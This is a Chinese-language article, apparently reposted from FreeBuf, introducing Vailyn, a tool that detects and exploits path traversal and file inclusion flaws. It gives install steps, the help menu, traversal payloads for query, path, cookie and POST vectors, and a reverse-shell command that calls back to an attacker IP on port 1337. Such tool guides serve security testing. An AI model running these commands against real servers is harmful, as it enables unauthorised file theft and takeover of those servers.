如何利用Vailyn识别路径遍历和文件包含漏洞

安全 数据安全
Vailyn是一款多阶段漏洞分析和利用工具,可以帮助广大研究人员分析、识别和利用路径遍历漏洞以及文件包含漏洞。该工具的性能非常强,并且害实现了大量的过滤规避技术。

[[433744]]

关于Vailyn

Vailyn是一款多阶段漏洞分析和利用工具,可以帮助广大研究人员分析、识别和利用路径遍历漏洞以及文件包含漏洞。该工具的性能非常强,并且害实现了大量的过滤规避技术。

Vailyn的操作分为两个阶段。首先,它可以尝试访问/etc/passwd或用户指定的文件来检测漏洞是否存在。此时,我们可以自由选择使用哪些Payload,而第二阶段该工具将会使用我们所选择的Payload。

第二阶段是漏洞利用阶段。现在,该工具将会尝试使用文件和目录字典从目标服务器提取所有可能的文件。搜索深度和目录排列级别可以通过参数进行调整。或者,它可以下载找到的文件,并将它们保存在其loot文件夹中。除此之外,Vailyn还会尝试在目标系统上获取一个反向Shell,并允许攻击者获得对目标服务器的完全控制。

当前版本的Vailyn支持多种攻击向量:通过查询实现注入、路径、Cookie和POST数据等。

工具安装

我们建议的Vailyn运行环境为Python 3.7+,但理论上来说该工具应当适用于Python 3.5或Python 3.6环境。

如需安装Vailyn,可以直接访问该项目的【Releases页面】下载工具文档,或使用下列命令将该项目源码克隆至本地:

  1. $ git clone https://github.com/VainlyStrain/Vailyn 

下载好项目源码之后,我们则需要安装好该工具所需的Python依赖组件。

(1) Unix系统

在Unix系统上,可以直接运行下列命令:

  1. $ pip install -r requirements.txt   # --user 

(2) Windows系统

在Windows系统上,可以直接使用pip命令来安装“Vailyn\·›\requirements-windows.txt”中列出的依赖组件。

(3) 最后一步

如果你想要使用反向Shell模块的完整功能,我们还需要安装sshpass、ncat和konsole。

接下来,我们就可以直接运行下列命令来使用Vailyn了:

  1. $ python Vailyn -h 

工具使用

Vailyn提供了三个必要参数:-v VIC, -a INT和-p2 TP P1 P2。如果使用了-a参数的话,则可以支持更多选项。

  1. ,                \                  /               , 
  2.  
  3.      ':.             \.      /\.     ./            .:' 
  4.  
  5.         ':;.          :\ .,:/   ''. /;        ..::' 
  6.  
  7.            ',':.,.__.'' '          ' `:.__:''.:' 
  8.  
  9.               ';..                        ,;'     * 
  10.  
  11.        *         '.,                   .:' 
  12.  
  13.                     `v;.            ;v'        o 
  14.  
  15.               .      '  '..      :.' '     . 
  16.  
  17.                      '     ':;, '    ' 
  18.  
  19.             o                '          .   :         
  20.  
  21.                                            * 
  22.                          | Vailyn | 
  23.  
  24.                       [ VainlyStrain ]     
  25. Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
  26.  
  27.         [-p PAM] [-i F] [-Pi VIC2] 
  28.  
  29.       [-c C] [-n] [-d I J K] 
  30.  
  31.        [-s T] [-t] [-L] 
  32.  
  33.   [-l] [-P] [-A]  
  34.  
  35. mandatory: 
  36.  
  37.   -v VIC, --victim VIC  Target to attack, part 1 [pre-payload] 
  38.  
  39.   -a INT, --attack INT  Attack type (int, 1-5, or A) 
  40.  
  41.     A|  Spider (all)       2|  Path               5|  POST Data, json 
  42.  
  43.     P|  Spider (partial)   3|  Cookie 
  44.  
  45.     1|  Query Parameter    4|  POST Data, plain 
  46.  
  47.   -p2 TP P1 P2, --phase2 TP P1 P2 
  48.  
  49.                         Attack in Phase 2, and needed parameters 
  50.   
  51. ┌[ Values ]─────────────┬────────────────────┐ 
  52.  
  53. │ TP      │ P1          │ P2                 │ 
  54.  
  55. ├─────────┼─────────────┼────────────────────┤ 
  56.  
  57. │ leak    │ File Dict   │ Directory Dict     │ 
  58.  
  59. │ inject  │ IP Addr     │ Listening Port     │ 
  60.  
  61. │ implant │ Source File │ Server Destination │ 
  62.  
  63. └─────────┴─────────────┴────────────────────┘ 
  64.  
  65.   
  66.  
  67. additional: 
  68.  
  69.   -p PAM, --param PAM   query parameter or POST data for --attack 1, 4, 5 
  70.  
  71.   -i F, --check F       File to check for in Phase 1 (df: etc/passwd) 
  72.  
  73.   -Pi VIC2, --vic2 VIC2 Attack Target, part 2 [post-payload] 
  74.  
  75.   -c C, --cookie C      Cookie to append (in header format) 
  76.  
  77.   -l, --loot            Download found files into the loot folder 
  78.  
  79.   -d I J K, --depths I J K 
  80.  
  81.                         depths (I: phase 1, J: phase 2, K: permutation level) 
  82.  
  83.   -h, --help            show this help menu and exit 
  84.  
  85.   -s T, --timeout T     Request Timeout; stable switch for Arjun 
  86.  
  87.   -t, --tor             Pipe attacks through the Tor anonymity network 
  88.  
  89.   -L, --lfi             Additionally use PHP wrappers to leak files 
  90.  
  91.   -n, --nosploit        skip Phase 2 (does not need -p2 TP P1 P2) 
  92.  
  93.   -P, --precise         Use exact depth in Phase 1 (not a range) 
  94.  
  95.   -A, --app             Start Vailyn's Qt5 interface 
  96.  
  97.   
  98.  
  99. develop: 
  100.  
  101.   --debug               Display every path tried, even 404s. 
  102.  
  103.   --version             Print program version and exit. 
  104.  
  105.   --notmain             Avoid notify2 crash in subprocess call.  
  106.  
  107. Info: 
  108.  
  109.   to leak files using absolute paths: -d 0 0 0 
  110.  
  111.   to get a shell using absolute paths: -d 0 X 0 

Vailyn当前支持五种攻击向量,并且提供了自动化爬虫。我们可以通过-a INT参数来选择需要执行的攻击:

  1. INT        attack 
  2.  
  3. ----       ------- 
  4.  
  5. 1          query-based attack  (https://site.com?file=../../../) 
  6.  
  7. 2          path-based attack   (https://site.com/../../../) 
  8.  
  9. 3          cookie-based attack (will grab the cookies for you) 
  10.  
  11. 4          plain post data     (ELEM1=VAL1&ELEM2=../../../) 
  12.  
  13. 5          json post data      ({"file": "../../../"}) 
  14.  
  15. A          spider              fetch + analyze all URLs from site using all vectors 
  16.  
  17. P          partial spider      fetch + analyze all URLs from site using only selected vectors 

工具使用演示

简单的查询攻击,第二阶段文件提取:

  1. $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT 

简单的查询,但知道file.php已存在:

  1. $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P 

简单的路径攻击:

  1. $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT 

路径攻击,但需要查询参数和标签:

  1. $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title 

简单的Cookie攻击:

  1. $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs 

POST Plain攻击:

  1. $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT

POST JSON攻击:

  1. $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}' 

攻击,但目标存在登录界面:

  1. $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar

攻击,但需要一个反向Shell(端口1337):

  1. $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # a high Phase 2 Depth is needed for log injection 

完全的爬虫自动化模式:

  1. $ Vailyn -v "http://root-url.site" -a A 

工具演示视频

视频地址:【点我观看

项目地址

Vailyn:【GitHub传送门

 

责任编辑:赵宁宁 来源: FreeBuf
相关推荐

2017-07-17 13:30:31

2009-07-06 17:47:44

2017-05-02 09:02:14

2020-10-13 10:29:31

面部识别设备恶意攻击漏洞

2009-12-09 09:49:40

2010-03-02 14:55:18

2015-04-02 16:26:39

漏洞检测工具Kadimus

2011-04-13 17:28:21

2011-03-18 10:23:27

2011-05-18 09:47:48

2010-08-02 16:15:20

ibmdwLinux

2021-03-26 13:49:29

人工智能AI深度学习

2021-12-26 07:43:50

aDLLDLL漏洞

2009-02-02 22:23:15

2009-07-06 17:34:20

PEARMail函数php

2021-10-14 13:14:12

安全供应链漏洞威胁

2021-03-06 09:50:43

漏洞网络安全网络攻击

2014-02-12 10:58:05

Linux文件夹文件权限

2018-02-05 09:15:17

Linux命令文件数量

2018-01-24 15:35:22

Linux隐藏文件管理器
点赞
收藏

51CTO技术栈公众号